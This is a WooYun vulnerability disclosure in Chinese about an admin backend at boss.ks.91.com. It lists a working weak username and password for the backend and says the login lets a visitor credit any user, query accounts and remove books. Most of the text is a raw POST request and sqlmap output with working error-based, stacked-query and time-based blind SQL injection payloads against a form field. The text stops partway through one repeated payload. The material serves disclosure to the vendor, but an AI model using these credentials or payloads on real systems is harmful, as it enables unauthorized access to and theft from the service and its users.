乌云(WooYun.org)历史漏洞查询---http://wy.zone.ci/
乌云 Drops 文章在线浏览--------http://drop.zone.ci/
2015-12-03: 细节已通知厂商并且等待厂商处理中 2015-12-03: 厂商已经确认,细节仅向厂商公开 2015-12-13: 细节向核心白帽子及相关领域专家公开 2015-12-23: 细节向普通白帽子公开 2016-01-02: 细节向实习白帽子公开 2016-01-17: 细节向公众公开
RT
漏洞系统:http://boss.ks.91.com/弱口令:wanghuan 123456登入系统:
能干的事情实在太多,比如可以给任意用户补偿熊猫币,任意账户查询,随意下架书籍、添加广告等等。
这都不是重点,随意找一个搜索框,发现都是注入
POST /Push/PandaPushMessage.aspx?_dc=1449074954365 HTTP/1.1Host: boss.ks.91.comProxy-Connection: keep-aliveContent-Length: 5155Cache-Control: max-age=0Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8Origin: http://boss.ks.91.comUpgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/46.0.2490.86 Safari/537.36Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryh5dqQ61NBdyh41V2Referer: http://boss.ks.91.com/Push/PandaPushMessage.aspxAccept-Encoding: gzip, deflateAccept-Language: zh-CN,zh;q=0.8Cookie: ASP.NET_SessionId=ikomqye14ftpkiaedbebwhc3------WebKitFormBoundaryh5dqQ61NBdyh41V2Content-Disposition: form-data; name="MainContent_txtTitle"1*------WebKitFormBoundaryh5dqQ61NBdyh41V2Content-Disposition: form-data; name="MainContent_ptbSpendData_ActivePage"1------WebKitFormBoundaryh5dqQ61NBdyh41V2Content-Disposition: form-data; name="__EVENTTARGET"ctl00$rmCurrent------WebKitFormBoundaryh5dqQ61NBdyh41V2Content-Disposition: form-data; name="__EVENTARGUMENT"MainContent_dataStore|postback|refresh------WebKitFormBoundaryh5dqQ61NBdyh41V2Content-Disposition: form-data; name="__VIEWSTATE"/wEPDwULLTE1MzgzMzgyMzMPZBYCZg9kFgICAw9kFgICAw9kFgQCAw9kFgRmD2QWAmYPFgIeBWNsYXNzBQh4LWhpZGRlbmQCAQ9kFgICAQ8UKhJTeXN0ZW0uV2ViLlVJLlBhaXIBDwUJdnNNZW1iZXJzFCsAAg8FDkF1dG9Mb2FkUGFyYW1zDwICFCsAAhQrBAEPBQRiYXNlFgYeBE5hbWUFBXN0YXJ0HgVWYWx1ZQUBMB4ETW9kZQspZUV4dC5OZXQuUGFyYW1ldGVyTW9kZSwgRXh0Lk5ldCwgVmVyc2lvbj0xLjIuMC4zMjE5OSwgQ3VsdHVyZT1uZXV0cmFsLCBQdWJsaWNLZXlUb2tlbj0yZTEyY2UzZDAxNzZjZDg3ABQrBAEPBQRiYXNlFgYfAQUFbGltaXQfAgUDMTAwHwMLKwUADwUGUmVhZGVyFCsEAQ8FBGJhc2UWBh4NVG90YWxQcm9wZXJ0eQUFdG90YWweBFJvb3QFBGRhdGEeCklEUHJvcGVydHkFAklEZAIFD2QWAgIBD2QWBGYPZBYCZg8WAh8ABQh4LWhpZGRlbmQCAQ9kFgJmDxYCHwAFCHgtaGlkZGVuFgQCBQ8UKwQBDwUJdnNNZW1iZXJzFCsAAQ8FBUl0ZW1zDwIEFCsABBQrBAEPBQRiYXNlFgQeBFRleHQFDOaJgOacieW5s+WPsB8CBQI5ORQrBAEPBQRiYXNlFgQfBwUMSVBob25l5bmz5Y+wHwIFATEUKwQBDwUEYmFzZRYEHwcFGOWuieWNk+aWsOeJiChWNi4y5LmL5ZCOKR8CBQE0FCsEAQ8FBGJhc2UWBB8HBRjlronljZPml6fniYgoVjYuMuS5i+WJjSkfAgUCNDRkAgkPFCsEAQ8FCXZzTWVtYmVycxQrAAEPBQVJdGVtcw8CARQrAAEUKwQBDwUEYmFzZRYEHwcFCeWFqOaYvuekuh8CBQEwZBgBBR5fX0NvbnRyb2xzUmVxdWlyZVBvc3RCYWNrS2V5X18WFgUPY3RsMDAkcm1DdXJyZW50BRxjdGwwMCRNYWluQ29udGVudCRGb3JtYXRUeXBlBRljdGwwMCRNYWluQ29udGVudCRwbFF1ZXJ5BRpjdGwwMCRNYWluQ29udGVudCR0eHRUaXRsZQUaY3RsMDAkTWFpbkNvbnRlbnQkYnRuUXVlcnkFGGN0bDAwJE1haW5Db250ZW50JGJ0bkFkZAUYY3RsMDAkTWFpbkNvbnRlbnQkZ3BMaXN0BR5jdGwwMCRNYWluQ29udGVudCRwdGJTcGVuZERhdGEFJmN0bDAwJE1haW5Db250ZW50JFBhbmRhUHVzaEVkaXQxJElzQWRkBSljdGwwMCRNYWluQ29udGVudCRQYW5kYVB1c2hFZGl0MSR3ZEVkaXRvcgUnY3RsMDAkTWFpbkNvbnRlbnQkUGFuZGFQdXNoRWRpdDEkUGFuZWwyBSdjdGwwMCRNYWluQ29udGVudCRQYW5kYVB1c2hFZGl0MSRQYW5lbDEFJmN0bDAwJE1haW5Db250ZW50JFBhbmRhUHVzaEVkaXQxJHR4dElEBSljdGwwMCRNYWluQ29udGVudCRQYW5kYVB1c2hFZGl0MSR0eHRUaXRsZQUyY3RsMDAkTWFpbkNvbnRlbnQkUGFuZGFQdXNoRWRpdDEkY21iTW9iaWxlVHlwZU5hbWUFJ2N0bDAwJE1haW5Db250ZW50JFBhbmRhUHVzaEVkaXQxJHR4dFVybAUnY3RsMDAkTWFpbkNvbnRlbnQkUGFuZGFQdXNoRWRpdDEkY2JUeXBlBStjdGwwMCRNYWluQ29udGVudCRQYW5kYVB1c2hFZGl0MSR0eHRDb250ZWN0BStjdGwwMCRNYWluQ29udGVudCRQYW5kYVB1c2hFZGl0MSR0eHRVc2VySURTBS5jdGwwMCRNYWluQ29udGVudCRQYW5kYVB1c2hFZGl0MSR0eHRDcmVhdGVUaW1lBShjdGwwMCRNYWluQ29udGVudCRQYW5kYVB1c2hFZGl0MSRidG5TYXZlBSpjdGwwMCRNYWluQ29udGVudCRQYW5kYVB1c2hFZGl0MSRidG5DYW5jZWwU8tG6ilBkzDVP72wtYtqI58JWcGS8hhWomcbtRbsFAQ==------WebKitFormBoundaryh5dqQ61NBdyh41V2Content-Disposition: form-data; name="__EVENTVALIDATION"/wEWAgL5iZXwBQKd1pjuDkM/WynfA4ziA8/WZZmj9lyJWiisVwefIce/r3hKDRee------WebKitFormBoundaryh5dqQ61NBdyh41V2Content-Disposition: form-data; name="MainContent_FormatType"------WebKitFormBoundaryh5dqQ61NBdyh41V2Content-Disposition: form-data; name="MainContent_PandaPushEdit1_IsAdd"------WebKitFormBoundaryh5dqQ61NBdyh41V2Content-Disposition: form-data; name="MainContent_gpList_SM"------WebKitFormBoundaryh5dqQ61NBdyh41V2Content-Disposition: form-data; name="MainContent_PandaPushEdit1_txtID"------WebKitFormBoundaryh5dqQ61NBdyh41V2Content-Disposition: form-data; name="MainContent_PandaPushEdit1_txtTitle"------WebKitFormBoundaryh5dqQ61NBdyh41V2Content-Disposition: form-data; name="MainContent_PandaPushEdit1_cmbMobileTypeName_Value"------WebKitFormBoundaryh5dqQ61NBdyh41V2Content-Disposition: form-data; name="MainContent_PandaPushEdit1_cmbMobileTypeName"------WebKitFormBoundaryh5dqQ61NBdyh41V2Content-Disposition: form-data; name="MainContent_PandaPushEdit1_cmbMobileTypeName_SelIndex"------WebKitFormBoundaryh5dqQ61NBdyh41V2Content-Disposition: form-data; name="MainContent_PandaPushEdit1_txtUrl"------WebKitFormBoundaryh5dqQ61NBdyh41V2Content-Disposition: form-data; name="MainContent_PandaPushEdit1_cbType_Value"0------WebKitFormBoundaryh5dqQ61NBdyh41V2Content-Disposition: form-data; name="MainContent_PandaPushEdit1_cbType"全显示------WebKitFormBoundaryh5dqQ61NBdyh41V2Content-Disposition: form-data; name="MainContent_PandaPushEdit1_cbType_SelIndex"0------WebKitFormBoundaryh5dqQ61NBdyh41V2Content-Disposition: form-data; name="MainContent_PandaPushEdit1_txtContect"------WebKitFormBoundaryh5dqQ61NBdyh41V2Content-Disposition: form-data; name="MainContent_PandaPushEdit1_txtUserIDS"备注:以英文 , 分隔------WebKitFormBoundaryh5dqQ61NBdyh41V2Content-Disposition: form-data; name="MainContent_PandaPushEdit1_txtCreateTime"------WebKitFormBoundaryh5dqQ61NBdyh41V2Content-Disposition: form-data; name="submitDirectEventConfig"{"config":{"extraParams":{"start":0,"limit":100,"sort":"ID","dir":"ASC"}}}------WebKitFormBoundaryh5dqQ61NBdyh41V2Content-Disposition: form-data; name="__ExtNetDirectEventMarker"delta=true------WebKitFormBoundaryh5dqQ61NBdyh41V2--
各种注入类型
---Parameter: #1* ((custom) POST) Type: error-based Title: Microsoft SQL Server/Sybase AND error-based - WHERE or HAVING clause Payload: ------WebKitFormBoundarydEuFUCx2QXyzCtlVContent-Disposition: form-data; name="MainContent_txtTitle"1' AND 1996=CONVERT(INT,(SELECT CHAR(113)+CHAR(112)+CHAR(118)+CHAR(112)+CHAR(113)+(SELECT (CASE WHEN (1996=1996) THEN CHAR(49) ELSE CHAR(48) END))+CHAR(113)+CHAR(106)+CHAR(118)+CHAR(118)+CHAR(113))) AND 'NsVd' LIKE 'NsVd------WebKitFormBoundarydEuFUCx2QXyzCtlVContent-Disposition: form-data; name="MainContent_ptbSpendData_ActivePage"1------WebKitFormBoundarydEuFUCx2QXyzCtlVContent-Disposition: form-data; name="__EVENTTARGET"ctl00$rmCurrent------WebKitFormBoundarydEuFUCx2QXyzCtlVContent-Disposition: form-data; name="__EVENTARGUMENT"MainContent_dataStore|postback|refresh------WebKitFormBoundarydEuFUCx2QXyzCtlVContent-Disposition: form-data; name="__VIEWSTATE"/wEPDwULLTE1MzgzMzgyMzMPZBYCZg9kFgICAw9kFgICAw9kFgQCAw9kFgRmD2QWAmYPFgIeBWNsYXNzBQh4LWhpZGRlbmQCAQ9kFgICAQ8UKhJTeXN0ZW0uV2ViLlVJLlBhaXIBDwUJdnNNZW1iZXJzFCsAAg8FDkF1dG9Mb2FkUGFyYW1zDwICFCsAAhQrBAEPBQRiYXNlFgYeBE5hbWUFBXN0YXJ0HgVWYWx1ZQUBMB4ETW9kZQspZUV4dC5OZXQuUGFyYW1ldGVyTW9kZSwgRXh0Lk5ldCwgVmVyc2lvbj0xLjIuMC4zMjE5OSwgQ3VsdHVyZT1uZXV0cmFsLCBQdWJsaWNLZXlUb2tlbj0yZTEyY2UzZDAxNzZjZDg3ABQrBAEPBQRiYXNlFgYfAQUFbGltaXQfAgUDMTAwHwMLKwUADwUGUmVhZGVyFCsEAQ8FBGJhc2UWBh4NVG90YWxQcm9wZXJ0eQUFdG90YWweBFJvb3QFBGRhdGEeCklEUHJvcGVydHkFAklEZAIFD2QWAgIBD2QWBGYPZBYCZg8WAh8ABQh4LWhpZGRlbmQCAQ9kFgJmDxYCHwAFCHgtaGlkZGVuFgQCBQ8UKwQBDwUJdnNNZW1iZXJzFCsAAQ8FBUl0ZW1zDwIEFCsABBQrBAEPBQRiYXNlFgQeBFRleHQFDOaJgOacieW5s+WPsB8CBQI5ORQrBAEPBQRiYXNlFgQfBwUMSVBob25l5bmz5Y+wHwIFATEUKwQBDwUEYmFzZRYEHwcFGOWuieWNk+aWsOeJiChWNi4y5LmL5ZCOKR8CBQE0FCsEAQ8FBGJhc2UWBB8HBRjlronljZPml6fniYgoVjYuMuS5i+WJjSkfAgUCNDRkAgkPFCsEAQ8FCXZzTWVtYmVycxQrAAEPBQVJdGVtcw8CARQrAAEUKwQBDwUEYmFzZRYEHwcFCeWFqOaYvuekuh8CBQEwZBgBBR5fX0NvbnRyb2xzUmVxdWlyZVBvc3RCYWNrS2V5X18WFgUPY3RsMDAkcm1DdXJyZW50BRxjdGwwMCRNYWluQ29udGVudCRGb3JtYXRUeXBlBRljdGwwMCRNYWluQ29udGVudCRwbFF1ZXJ5BRpjdGwwMCRNYWluQ29udGVudCR0eHRUaXRsZQUaY3RsMDAkTWFpbkNvbnRlbnQkYnRuUXVlcnkFGGN0bDAwJE1haW5Db250ZW50JGJ0bkFkZAUYY3RsMDAkTWFpbkNvbnRlbnQkZ3BMaXN0BR5jdGwwMCRNYWluQ29udGVudCRwdGJTcGVuZERhdGEFJmN0bDAwJE1haW5Db250ZW50JFBhbmRhUHVzaEVkaXQxJElzQWRkBSljdGwwMCRNYWluQ29udGVudCRQYW5kYVB1c2hFZGl0MSR3ZEVkaXRvcgUnY3RsMDAkTWFpbkNvbnRlbnQkUGFuZGFQdXNoRWRpdDEkUGFuZWwyBSdjdGwwMCRNYWluQ29udGVudCRQYW5kYVB1c2hFZGl0MSRQYW5lbDEFJmN0bDAwJE1haW5Db250ZW50JFBhbmRhUHVzaEVkaXQxJHR4dElEBSljdGwwMCRNYWluQ29udGVudCRQYW5kYVB1c2hFZGl0MSR0eHRUaXRsZQUyY3RsMDAkTWFpbkNvbnRlbnQkUGFuZGFQdXNoRWRpdDEkY21iTW9iaWxlVHlwZU5hbWUFJ2N0bDAwJE1haW5Db250ZW50JFBhbmRhUHVzaEVkaXQxJHR4dFVybAUnY3RsMDAkTWFpbkNvbnRlbnQkUGFuZGFQdXNoRWRpdDEkY2JUeXBlBStjdGwwMCRNYWluQ29udGVudCRQYW5kYVB1c2hFZGl0MSR0eHRDb250ZWN0BStjdGwwMCRNYWluQ29udGVudCRQYW5kYVB1c2hFZGl0MSR0eHRVc2VySURTBS5jdGwwMCRNYWluQ29udGVudCRQYW5kYVB1c2hFZGl0MSR0eHRDcmVhdGVUaW1lBShjdGwwMCRNYWluQ29udGVudCRQYW5kYVB1c2hFZGl0MSRidG5TYXZlBSpjdGwwMCRNYWluQ29udGVudCRQYW5kYVB1c2hFZGl0MSRidG5DYW5jZWwU8tG6ilBkzDVP72wtYtqI58JWcGS8hhWomcbtRbsFAQ==------WebKitFormBoundarydEuFUCx2QXyzCtlVContent-Disposition: form-data; name="__EVENTVALIDATION"/wEWAgL5iZXwBQKd1pjuDkM/WynfA4ziA8/WZZmj9lyJWiisVwefIce/r3hKDRee------WebKitFormBoundarydEuFUCx2QXyzCtlVContent-Disposition: form-data; name="MainContent_FormatType"------WebKitFormBoundarydEuFUCx2QXyzCtlVContent-Disposition: form-data; name="MainContent_PandaPushEdit1_IsAdd"------WebKitFormBoundarydEuFUCx2QXyzCtlVContent-Disposition: form-data; name="MainContent_gpList_SM"------WebKitFormBoundarydEuFUCx2QXyzCtlVContent-Disposition: form-data; name="MainContent_PandaPushEdit1_txtID"------WebKitFormBoundarydEuFUCx2QXyzCtlVContent-Disposition: form-data; name="MainContent_PandaPushEdit1_txtTitle"------WebKitFormBoundarydEuFUCx2QXyzCtlVContent-Disposition: form-data; name="MainContent_PandaPushEdit1_cmbMobileTypeName_Value"------WebKitFormBoundarydEuFUCx2QXyzCtlVContent-Disposition: form-data; name="MainContent_PandaPushEdit1_cmbMobileTypeName"------WebKitFormBoundarydEuFUCx2QXyzCtlVContent-Disposition: form-data; name="MainContent_PandaPushEdit1_cmbMobileTypeName_SelIndex"------WebKitFormBoundarydEuFUCx2QXyzCtlVContent-Disposition: form-data; name="MainContent_PandaPushEdit1_txtUrl"------WebKitFormBoundarydEuFUCx2QXyzCtlVContent-Disposition: form-data; name="MainContent_PandaPushEdit1_cbType_Value"0------WebKitFormBoundarydEuFUCx2QXyzCtlVContent-Disposition: form-data; name="MainContent_PandaPushEdit1_cbType"全显示------WebKitFormBoundarydEuFUCx2QXyzCtlVContent-Disposition: form-data; name="MainContent_PandaPushEdit1_cbType_SelIndex"0------WebKitFormBoundarydEuFUCx2QXyzCtlVContent-Disposition: form-data; name="MainContent_PandaPushEdit1_txtContect"------WebKitFormBoundarydEuFUCx2QXyzCtlVContent-Disposition: form-data; name="MainContent_PandaPushEdit1_txtUserIDS"备注:以英文 , 分隔------WebKitFormBoundarydEuFUCx2QXyzCtlVContent-Disposition: form-data; name="MainContent_PandaPushEdit1_txtCreateTime"------WebKitFormBoundarydEuFUCx2QXyzCtlVContent-Disposition: form-data; name="submitDirectEventConfig"{"config":{"extraParams":{"start":0,"limit":100,"sort":"ID","dir":"ASC"}}}------WebKitFormBoundarydEuFUCx2QXyzCtlVContent-Disposition: form-data; name="__ExtNetDirectEventMarker"delta=true------WebKitFormBoundarydEuFUCx2QXyzCtlV-- Type: stacked queries Title: Microsoft SQL Server/Sybase stacked queries (comment) Payload: ------WebKitFormBoundarydEuFUCx2QXyzCtlVContent-Disposition: form-data; name="MainContent_txtTitle"1';WAITFOR DELAY '0:0:5'--------WebKitFormBoundarydEuFUCx2QXyzCtlVContent-Disposition: form-data; name="MainContent_ptbSpendData_ActivePage"1------WebKitFormBoundarydEuFUCx2QXyzCtlVContent-Disposition: form-data; name="__EVENTTARGET"ctl00$rmCurrent------WebKitFormBoundarydEuFUCx2QXyzCtlVContent-Disposition: form-data; name="__EVENTARGUMENT"MainContent_dataStore|postback|refresh------WebKitFormBoundarydEuFUCx2QXyzCtlVContent-Disposition: form-data; name="__VIEWSTATE"/wEPDwULLTE1MzgzMzgyMzMPZBYCZg9kFgICAw9kFgICAw9kFgQCAw9kFgRmD2QWAmYPFgIeBWNsYXNzBQh4LWhpZGRlbmQCAQ9kFgICAQ8UKhJTeXN0ZW0uV2ViLlVJLlBhaXIBDwUJdnNNZW1iZXJzFCsAAg8FDkF1dG9Mb2FkUGFyYW1zDwICFCsAAhQrBAEPBQRiYXNlFgYeBE5hbWUFBXN0YXJ0HgVWYWx1ZQUBMB4ETW9kZQspZUV4dC5OZXQuUGFyYW1ldGVyTW9kZSwgRXh0Lk5ldCwgVmVyc2lvbj0xLjIuMC4zMjE5OSwgQ3VsdHVyZT1uZXV0cmFsLCBQdWJsaWNLZXlUb2tlbj0yZTEyY2UzZDAxNzZjZDg3ABQrBAEPBQRiYXNlFgYfAQUFbGltaXQfAgUDMTAwHwMLKwUADwUGUmVhZGVyFCsEAQ8FBGJhc2UWBh4NVG90YWxQcm9wZXJ0eQUFdG90YWweBFJvb3QFBGRhdGEeCklEUHJvcGVydHkFAklEZAIFD2QWAgIBD2QWBGYPZBYCZg8WAh8ABQh4LWhpZGRlbmQCAQ9kFgJmDxYCHwAFCHgtaGlkZGVuFgQCBQ8UKwQBDwUJdnNNZW1iZXJzFCsAAQ8FBUl0ZW1zDwIEFCsABBQrBAEPBQRiYXNlFgQeBFRleHQFDOaJgOacieW5s+WPsB8CBQI5ORQrBAEPBQRiYXNlFgQfBwUMSVBob25l5bmz5Y+wHwIFATEUKwQBDwUEYmFzZRYEHwcFGOWuieWNk+aWsOeJiChWNi4y5LmL5ZCOKR8CBQE0FCsEAQ8FBGJhc2UWBB8HBRjlronljZPml6fniYgoVjYuMuS5i+WJjSkfAgUCNDRkAgkPFCsEAQ8FCXZzTWVtYmVycxQrAAEPBQVJdGVtcw8CARQrAAEUKwQBDwUEYmFzZRYEHwcFCeWFqOaYvuekuh8CBQEwZBgBBR5fX0NvbnRyb2xzUmVxdWlyZVBvc3RCYWNrS2V5X18WFgUPY3RsMDAkcm1DdXJyZW50BRxjdGwwMCRNYWluQ29udGVudCRGb3JtYXRUeXBlBRljdGwwMCRNYWluQ29udGVudCRwbFF1ZXJ5BRpjdGwwMCRNYWluQ29udGVudCR0eHRUaXRsZQUaY3RsMDAkTWFpbkNvbnRlbnQkYnRuUXVlcnkFGGN0bDAwJE1haW5Db250ZW50JGJ0bkFkZAUYY3RsMDAkTWFpbkNvbnRlbnQkZ3BMaXN0BR5jdGwwMCRNYWluQ29udGVudCRwdGJTcGVuZERhdGEFJmN0bDAwJE1haW5Db250ZW50JFBhbmRhUHVzaEVkaXQxJElzQWRkBSljdGwwMCRNYWluQ29udGVudCRQYW5kYVB1c2hFZGl0MSR3ZEVkaXRvcgUnY3RsMDAkTWFpbkNvbnRlbnQkUGFuZGFQdXNoRWRpdDEkUGFuZWwyBSdjdGwwMCRNYWluQ29udGVudCRQYW5kYVB1c2hFZGl0MSRQYW5lbDEFJmN0bDAwJE1haW5Db250ZW50JFBhbmRhUHVzaEVkaXQxJHR4dElEBSljdGwwMCRNYWluQ29udGVudCRQYW5kYVB1c2hFZGl0MSR0eHRUaXRsZQUyY3RsMDAkTWFpbkNvbnRlbnQkUGFuZGFQdXNoRWRpdDEkY21iTW9iaWxlVHlwZU5hbWUFJ2N0bDAwJE1haW5Db250ZW50JFBhbmRhUHVzaEVkaXQxJHR4dFVybAUnY3RsMDAkTWFpbkNvbnRlbnQkUGFuZGFQdXNoRWRpdDEkY2JUeXBlBStjdGwwMCRNYWluQ29udGVudCRQYW5kYVB1c2hFZGl0MSR0eHRDb250ZWN0BStjdGwwMCRNYWluQ29udGVudCRQYW5kYVB1c2hFZGl0MSR0eHRVc2VySURTBS5jdGwwMCRNYWluQ29udGVudCRQYW5kYVB1c2hFZGl0MSR0eHRDcmVhdGVUaW1lBShjdGwwMCRNYWluQ29udGVudCRQYW5kYVB1c2hFZGl0MSRidG5TYXZlBSpjdGwwMCRNYWluQ29udGVudCRQYW5kYVB1c2hFZGl0MSRidG5DYW5jZWwU8tG6ilBkzDVP72wtYtqI58JWcGS8hhWomcbtRbsFAQ==------WebKitFormBoundarydEuFUCx2QXyzCtlVContent-Disposition: form-data; name="__EVENTVALIDATION"/wEWAgL5iZXwBQKd1pjuDkM/WynfA4ziA8/WZZmj9lyJWiisVwefIce/r3hKDRee------WebKitFormBoundarydEuFUCx2QXyzCtlVContent-Disposition: form-data; name="MainContent_FormatType"------WebKitFormBoundarydEuFUCx2QXyzCtlVContent-Disposition: form-data; name="MainContent_PandaPushEdit1_IsAdd"------WebKitFormBoundarydEuFUCx2QXyzCtlVContent-Disposition: form-data; name="MainContent_gpList_SM"------WebKitFormBoundarydEuFUCx2QXyzCtlVContent-Disposition: form-data; name="MainContent_PandaPushEdit1_txtID"------WebKitFormBoundarydEuFUCx2QXyzCtlVContent-Disposition: form-data; name="MainContent_PandaPushEdit1_txtTitle"------WebKitFormBoundarydEuFUCx2QXyzCtlVContent-Disposition: form-data; name="MainContent_PandaPushEdit1_cmbMobileTypeName_Value"------WebKitFormBoundarydEuFUCx2QXyzCtlVContent-Disposition: form-data; name="MainContent_PandaPushEdit1_cmbMobileTypeName"------WebKitFormBoundarydEuFUCx2QXyzCtlVContent-Disposition: form-data; name="MainContent_PandaPushEdit1_cmbMobileTypeName_SelIndex"------WebKitFormBoundarydEuFUCx2QXyzCtlVContent-Disposition: form-data; name="MainContent_PandaPushEdit1_txtUrl"------WebKitFormBoundarydEuFUCx2QXyzCtlVContent-Disposition: form-data; name="MainContent_PandaPushEdit1_cbType_Value"0------WebKitFormBoundarydEuFUCx2QXyzCtlVContent-Disposition: form-data; name="MainContent_PandaPushEdit1_cbType"全显示------WebKitFormBoundarydEuFUCx2QXyzCtlVContent-Disposition: form-data; name="MainContent_PandaPushEdit1_cbType_SelIndex"0------WebKitFormBoundarydEuFUCx2QXyzCtlVContent-Disposition: form-data; name="MainContent_PandaPushEdit1_txtContect"------WebKitFormBoundarydEuFUCx2QXyzCtlVContent-Disposition: form-data; name="MainContent_PandaPushEdit1_txtUserIDS"备注:以英文 , 分隔------WebKitFormBoundarydEuFUCx2QXyzCtlVContent-Disposition: form-data; name="MainContent_PandaPushEdit1_txtCreateTime"------WebKitFormBoundarydEuFUCx2QXyzCtlVContent-Disposition: form-data; name="submitDirectEventConfig"{"config":{"extraParams":{"start":0,"limit":100,"sort":"ID","dir":"ASC"}}}------WebKitFormBoundarydEuFUCx2QXyzCtlVContent-Disposition: form-data; name="__ExtNetDirectEventMarker"delta=true------WebKitFormBoundarydEuFUCx2QXyzCtlV-- Type: AND/OR time-based blind Title: Microsoft SQL Server/Sybase time-based blind (comment) Payload: ------WebKitFormBoundarydEuFUCx2QXyzCtlVContent-Disposition: form-data; name="MainContent_txtTitle"1' WAITFOR DELAY '0:0:5'--------WebKitFormBoundarydEuFUCx2QXyzCtlVContent-Disposition: form-data; name="MainContent_ptbSpendData_ActivePage"1------WebKitFormBoundarydEuFUCx2QXyzCtlVContent-Disposition: form-data; name="__EVENTTARGET"ctl00$rmCurrent------WebKitFormBoundarydEuFUCx2QXyzCtlVContent-Disposition: form-data; name="__EVENTARGUMENT"MainContent_dataStore|postback|refresh------WebKitFormBoundarydEuFUCx2QXyzCtlVContent-Disposition: form-data; name="__VIEWSTATE"/wEPDwULLTE1MzgzMzgyMzMPZBYCZg9kFgICAw9kFgICAw9kFgQCAw9kFgRmD2QWAmYPFgIeBWNsYXNzBQh4LWhpZGRlbmQCAQ9kFgICAQ8UKhJTeXN0ZW0uV2ViLlVJLlBhaXIBDwUJdnNNZW1iZXJzFCsAAg8FDkF1dG9Mb2FkUGFyYW1zDwICFCsAAhQrBAEPBQRiYXNlFgYeBE5hbWUFBXN0YXJ0HgVWYWx1ZQUBMB4ETW9kZQspZUV4dC5OZXQuUGFyYW1ldGVyTW9kZSwgRXh0Lk5ldCwgVmVyc2lvbj0xLjIuMC4zMjE5OSwgQ3VsdHVyZT1uZXV0cmFsLCBQdWJsaWNLZXlUb2tlbj0yZTEyY2UzZDAxNzZjZDg3ABQrBAEPBQRiYXNlFgYfAQUFbGltaXQfAgUDMTAwHwMLKwUADwUGUmVhZGVyFCsEAQ8FBGJhc2UWBh4NVG90YWxQcm9wZXJ0eQUFdG90YWweBFJvb3QFBGRhdGEeCklEUHJvcGVydHkFAklEZAIFD2QWAgIBD2QWBGYPZBYCZg8WAh8ABQh4LWhpZGRlbmQCAQ9kFgJmDxYCHwAFCHgtaGlkZGVuFgQCBQ8UKwQBDwUJdnNNZW1iZXJzFCsAAQ8FBUl0ZW1zDwIEFCsABBQrBAEPBQRiYXNlFgQeBFRleHQFDOaJgOacieW5s+WPsB8CBQI5ORQrBAEPBQRiYXNlFgQfBwUMSVBob25l5bmz5Y+wHwIFATEUKwQBDwUEYmFzZRYEHwcFGOWuieWNk+aWsOeJiChWNi4y5LmL5ZCOKR8CBQE0FCsEAQ8FBGJhc2UWBB8HBRjlronljZPml6fniYgoVjYuMuS5i+WJjSkfAgUCNDRkAgkPFCsEAQ8FCXZzTWVtYmVycxQrAAEPBQVJdGVtcw8CARQrAAEUKwQBDwUEYmFzZRYEHwcFCeWFqOaYvuekuh8CBQEwZBgBBR5fX0NvbnRyb2xzUmVxdWlyZVBvc3RCYWNrS2V5X18WFgUPY3RsMDAkcm1DdXJyZW50BRxjdGwwMCRNYWluQ29udGVudCRGb3JtYXRUeXBlBRljdGwwMCRNYWluQ29udGVudCRwbFF1ZXJ5BRpjdGwwMCRNYWluQ29udGVudCR0eHRUaXRsZQUaY3RsMDAkTWFpbkNvbnRlbnQkYnRuUXVlcnkFGGN0bDAwJE1haW5Db250ZW50JGJ0bkFkZAUYY3RsMDAkTWFpbkNvbnRlbnQkZ3BMaXN0BR5jdGwwMCRNYWluQ29udGVudCRwdGJTcGVuZERhdGEFJmN0bDAwJE1haW5Db250ZW50JFBhbmRhUHVzaEVkaXQxJElzQWRkBSljdGwwMCRNYWluQ29udGVudCRQYW5kYVB1c2hFZGl0MSR3ZEVkaXRvcgUnY3RsMDAkTWFpbkNvbnRlbnQkUGFuZGFQdXNoRWRpdDEkUGFuZWwyBSdjdGwwMCRNYWluQ29udGVudCRQYW5kYVB1c2hFZGl0MSRQYW5lbDEFJmN0bDAwJE1haW5Db250ZW50JFBhbmRhUHVzaEVkaXQxJHR4dElEBSljdGwwMCRNYWluQ29udGVudCRQYW5kYVB1c2hFZGl0MSR0eHRUaXRsZQUyY3RsMDAkTWFpbkNvbnRlbnQkUGFuZGFQdXNoRWRpdDEkY21iTW9iaWxlVHlwZU5hbWUFJ2N0bDAwJE1haW5Db250ZW50JFBhbmRhUHVzaEVkaXQxJHR4dFVybAUnY3RsMDAkTWFpbkNvbnRlbnQkUGFuZGFQdXNoRWRpdDEkY2JUeXBlBStjdGwwMCRNYWluQ29udGVudCRQYW5kYVB1c2hFZGl0MSR0eHRDb250ZWN0BStjdGwwMCRNYWluQ29udGVudCRQYW5kYVB1c2hFZGl0MSR0eHRVc2VySURTBS5jdGwwMCRNYWluQ29udGVudCRQYW5kYVB1c2hFZGl0MSR0eHRDcmVhdGVUaW1lBShjdGwwMCRNYWluQ29udGVudCRQYW5kYVB1c2hFZGl0MSRidG5TYXZlBSpjdGwwMCRNYWluQ29udGVudCRQYW5kYVB1c2hFZGl0MSRidG5DYW5jZWwU8tG6ilBkzDVP72wtYtqI58JWcGS8hhWomcbtRbsFAQ==------WebKitFormBoundarydEuFUCx2QXyzCtlVContent-Disposition: form-data; name="__EVENTVALIDATION"/wEWAgL5iZXwBQKd1pjuDkM/WynfA4ziA8/WZZmj9lyJWiisVwefIce/r3hKDRee------WebKitFormBoundarydEuFUCx2QXyzCtlVContent-Disposition: form-data; name="MainContent_FormatType"------WebKitFormBoundarydEuFUCx2QXyzCtlVContent-Disposition: form-data; name="MainContent_PandaPushEdit1_IsAdd"------WebKitFormBoundarydEuFUCx2QXyzCtlVContent-Disposition: form-data; name="MainContent_gpList_SM"------WebKitFormBoundarydEuFUCx2QXyzCtlVContent-Disposition: form-data; name="MainContent_PandaPushEdit1_txtID"------WebKitFormBoundarydEuFUCx2QXyzCtlVContent-Disposition: form-data; name="MainContent_PandaPushEdit1_txtTitle"------WebKitFormBoundarydEuFUCx2QXyzCtlVContent-Disposition: form-data; name="MainContent_PandaPushEdit1_cmbMobileTypeName_Value"------WebKitFormBoundarydEuFUCx2QXyzCtlVContent-Disposition: form-data; name="MainContent_PandaPushEdit1_cmbMobileTypeName"------WebKitFormBoundarydEuFUCx2QXyzCtlVContent-Disposition: form-data; name="MainContent_PandaPushEdit1_cmbMobileTypeName_SelIndex"------WebKitFormBoundarydEuFUCx2QXyzCtlVContent-Disposition: form-data; 